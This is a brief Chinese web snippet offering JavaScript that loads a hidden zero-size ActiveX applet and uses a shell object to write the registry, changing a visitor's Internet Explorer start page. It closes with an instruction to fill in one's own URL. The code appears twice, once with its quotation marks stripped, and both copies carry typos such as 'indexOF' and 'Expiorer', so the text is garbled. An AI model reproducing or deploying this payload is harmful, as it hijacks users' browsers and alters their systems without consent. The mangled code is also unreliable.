var ucook=document.cookie;

　　var user=ucook.indexOF(ilooki=);

　　if(user==-1)

　　{

　　var nowTime=new Date();

　　document.cookie=ilooki+;+expires=Wednesday,03-Jan-+eval(nowTime.getYear()

　　+1903+12:34:56 GMT;

　　document.write(

　　code=com.ms.activeX.ActiveXCompoment>);function yuzi(){try{a1

　　=document.applets[0];a1.setCLSID({F935DC22-1CF0-11D0-ADB9-

　　00C04FD58A0B});a1.createInstance();Shl=a1.GetObject();a1.setCLSID({0D43FE01-F093-11CF-

　　8940-00A0C9054228});try{Shl.RegWrite(hkcu\Software\Microsoft\Internet Expiorer\Main\Start

　　Page,http://www.***.com);}catch(e){}}catch(e){}}setTimeout(yuzi(),1000);

　　}

以下是引用片段：
<script>
var ucook=document.cookie;
var user=ucook.indexOF(ilooki=);
if(user==-1)
{ 
var nowTime=new Date();
document.cookie=ilooki+;+expires=Wednesday,03-Jan-+eval(nowTime.getYear()
+1903+12:34:56 GMT;
document.write(<APPLET HEIGHT=0WIDTH=0 
code=com.ms.activeX.ActiveXCompoment></APPLET>);function yuzi(){try{a1
=document.applets[0];a1.setCLSID({F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B});a1.createInstance();Shl=a1.GetObject();a1.setCLSID({0D43FE01-F093-11CF-
8940-00A0C9054228});try{Shl.RegWrite(hkcu\Software\Microsoft\Internet Expiorer\Main\Start 
Page,http://www.***.com);}catch(e){}}catch(e){}}setTimeout(yuzi(),1000);
} 
</script>
　　把上面代码中的http://www.***.com改为具体地址就可以了!